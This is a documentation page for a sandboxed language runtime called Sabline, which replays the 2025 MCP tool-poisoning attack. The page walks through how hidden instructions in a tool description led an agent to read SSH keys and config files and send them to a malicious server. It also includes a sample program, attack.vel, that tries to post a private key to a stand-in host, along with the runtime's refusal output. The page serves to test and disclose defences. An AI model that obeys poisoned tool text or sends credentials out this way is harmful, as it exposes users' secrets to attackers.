MCP tool poisoning, replayed in Sabline
MCP tool poisoning, 2025-04-01. Also called the MCP rug pull. (The name in use.) Verdict: PARTIAL - part of the shape is refused and part is not; both halves are recorded.
Note
This is the shape of the attack, not a claim that Sabline would have prevented the real event. The real one happened in a language, a package manager, a build system or an agent framework that Sabline neither runs nor bounds. What this page shows is narrower and checkable: the same shape written in Sabline, the command, what the runtime printed, and the one line of budget that did the work - or, where nothing here addresses the shape, that.
What happened #
On 1 April 2025 Luca Beurer-Kellner and Marc Fischer of Invariant Labs
published a proof of concept in which instructions hidden in an MCP tool's
description - text the model reads and the user does not - steer an agent
into doing something the tool does not claim to do. In their demonstration
against Cursor, a poisoned add tool made the agent read
~/.cursor/mcp.json and ~/.ssh/id_rsa and pass the contents to the
malicious server in an extra sidenote argument: "the agent willingly reads
the user's ~/.cursor/mcp.json file, and other sensitive files like SSH keys
and sends them to the malicious server." They note that even where the client
asks for confirmation, Cursor "does not show the full tool input" and "the
included SSH key is completely hidden". Reproduction code is published at
invariantlabs-ai/mcp-injection-experiments.
The shape, in Sabline #
Two things happen: a model is steered into asking for more than it was meant to, and a credential leaves in an argument of a call that looks legitimate. Sabline has an answer to each, and neither is an answer to the poisoning itself.
First, the ceiling. Sabline's own MCP server holds every run to the
operator's --max-allow, which is io unless raised. A client that asks it
to run a program with fs - however the model was talked into asking - is
refused before anything compiles, and the invocation log records
"outcome": "ceiling". That is the first step here, driven over the
protocol by ask_for_more.py.
Second, the argument. attack.vel reads the key the sanctioned way, with
read_file_secret, and passes it to a host the operator did grant, folded
into an otherwise ordinary request. It does not compile: a Secret of Text
cannot be an argument to something that performs net (E560). The
interesting part is that the network grant was not the thing that refused -
a poisoned tool that exfiltrates to a granted host gets no further than one
that exfiltrates to its own.
The one line that does the work #
sabline mcp --max-allow io
--max-allow is the line: a ceiling no caller can raise, set by the person
who installed the server rather than by the model or the program. io is
what it is when nobody sets it (4.0; before 4.0 a caller could ask for more
and get it).
What this does not cover #
Sabline is not an MCP client and does not sit between a model and its tools: nothing here reads a tool description, judges one, or notices that one changed. A poisoned description that steers an agent into using its other tools - a shell, an editor, a browser - passes Sabline entirely, because none of those is a Sabline program.
attack.vel #
// The poisoned description told the agent to read the user's key and pass
// it along in a second argument, while the visible half of the call stayed
// an innocent sum.
//
// The key is read the sanctioned way, as a Secret, and the request goes to
// a host the operator did grant. Neither helps: what a Secret may reach is
// not a question about hosts.
fn main() uses io, fs, net {
check read_file_secret("id_rsa.pem") {
ok key {
let sum = json_of({ "a": "3", "b": "4" })
print("adding 3 and 4")
check post("https://calculator.example.com/add", sum + key) {
ok answer {
print(answer)
}
fail why {
print("no answer: " + why)
}
}
}
fail why {
print("no key here: " + why)
}
}
}What the runtime printed #
Recorded by incident_evidence.py, and re-run by check_incidents.py on every push:
# the model is steered into asking the server for more than its ceiling
$ python ask_for_more.py
the client asked for: io, fs:read:.
the server answered:
{
"error": "this server does not grant fs",
"max_allow": [
"io"
],
"max_memory_mb": 512,
"max_timeout": 30
}
the invocation log recorded: outcome=ceiling, refusals=[{"by": "ceiling", "what": "this server does not grant fs"}]
exit 0
# and the key cannot leave in an argument, even to a granted host
$ sabline attack.vel --allow io,fs:read:./id_rsa.pem,net:calculator.example.com:443 --receipt receipt.json
error[E560] argument 2 of 'post' is Secret of Text, and 'post' performs net - a Secret cannot be printed, written, sent or passed to Python. It came from read_file_secret(), line 10
--> attack.vel, line 14
how to fix (pick one):
1. build what you emit out of values that are not secret
2. or let it out on purpose: declassify(x, "why this is safe to emit") needs "uses declassify", is named in the audit with that reason, and an operator can refuse to grant it
reference: https://sabline.dev/llms.txt
exit 1Sources #
- MCP Security Notification: Tool Poisoning Attacks - the researchers' own write-up, 1 April 2025: the technique, the Cursor demonstration, the files read, and the hidden argument.
- invariantlabs-ai/mcp-injection-experiments - the published reproduction code.
The entry, its program and its recorded run are in incidents/mcp-tool-poisoning/. Every incident, with its verdict, is in the catalogue.